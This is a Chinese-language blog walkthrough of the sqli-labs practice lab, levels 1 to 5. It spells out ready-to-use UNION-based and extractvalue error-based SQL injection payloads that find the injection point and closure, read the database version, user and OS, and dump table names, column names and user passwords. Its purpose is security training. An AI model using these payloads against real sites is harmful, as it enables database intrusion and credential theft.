sqli-labs题目解析(持续学习更新)

这是一篇详细的解题分析,篇幅较长。如果文中任何环节有误或有更好的思路,非常欢迎各位大佬指正交流。

Less-1 MySQL-字符型注入

首先进入靶场


?id=1


先在id中随意写点,判断注点

?id=daadw

页面不正常,确定id为注入点


利用 \ 来判断闭合方式

?id=1\

报错发现

  • 数据库:MYSQL
  • 闭合方式可能为:'--+

有报错如何猜测闭合?

''1\' LIMIT 0,1' 这是图中的报错信息

去掉最外围的单引号

'1\' LIMIT 0,1

可以大致猜想这个数据库语句为

select x from y where id='&id' limit 0,1

所以可以猜测闭合方式为 '--


进行闭合方式的确认

?id=1'    报错

?id=1'--+    不报错

确定闭合方式为 '--+


开始判断列数

?id=-1' union select 1,2,3--+
(这里我直接把正确的写了,正常情况从1个开始判断)

确认注入点为2和3


开始信息收集(四个基本信息)

?id=-1' union select 1,version(),database()--+

?id=-1' union select 1,user(),@@version_compile_os--+

  • 数据库版本:5.7.26
  • 当前数据库名:security
  • 当前数据库用户:root@localhost
  • 操作系统:Win64

MySQL版本大于5且数据库用户为root,可以使用information_schema数据库查询信息。

查询当前数据库中所有表名

?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security'--+

查询到四张表:emails,referers,uagents,users


注入users表

查询这张表中的所有子段

?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' and table_schema='security'--+

查询到三个字段:id,username,password


查询username和password

?id=-1' union select 1,group_concat(username),group_concat(password) from users--+

Less-2 MySQL-数字型注入

数字型注入,没有闭合。

数据库是MySQL,直接注入。(不多说,参考Less1)

Less-3 MySQL-字符型注入

闭合方式为 )'--+

数据库为MySQL(注入参考Less1)

Less-4 MySQL-字符型注入

闭合方式为 ")--+

数据库为MySQL(注入参考Less1)

Less-5 MySQL-报错盲注-extractvalue方法

?id=1


判断id是否为注点

?id=sdaw

页面异常显示,id为注点


利用 \ 判断闭合

?id=1\

发现两点

  • MySQL
  • 闭合类型可能为 '--+

确认闭合类型

?id=1' --> 报错
?id=1'--+ --> 不报错

确认为 '--+ 闭合


猜测列数

?id=-1' union select 1,2,3--+

确认列数为三,但没有回显


尝试extractvalue报错注入

?id=-1' union select 1,2,extractvalue(1,'~')--+

可行


开始信息获取

?id=-1' union select 1,extractvalue(1,concat('~',(select database()))),3--+

?id=-1' union select 1,extractvalue(1,concat('~',(select user()))),3--+

?id=-1' union select 1,extractvalue(1,concat('~',(select version()))),3--+

?id=-1' union select 1,extractvalue(1,concat('~',(select @@version_compile_os))),3--+

获取到信息

  • 当前数据库名:security
  • 当前数据库用户:root@localhost
  • 当前数据库版本:5.7.26
  • 操作系统:Win64

MySQL数据库版本高于5,用户为root用户

可以直接使用information_schema数据库查询信息


查询当前数据库中所有表名

?id=-1' union select 1,2,extractvalue(1,concat('~',(select group_concat(table_name) from information_schema.tables where table_schema='security')))--+

共四张表

emails,referers,uagents,users


查询users表中的所有列名

?id=-1' union select 1,2,extractvalue(1,concat('~',(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users')))--+


查询users表中的账号密码

?id=-1' union select 1,2,extractvalue(1,concat('~',(select group_concat(username,'~',password) from users)))--+

评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值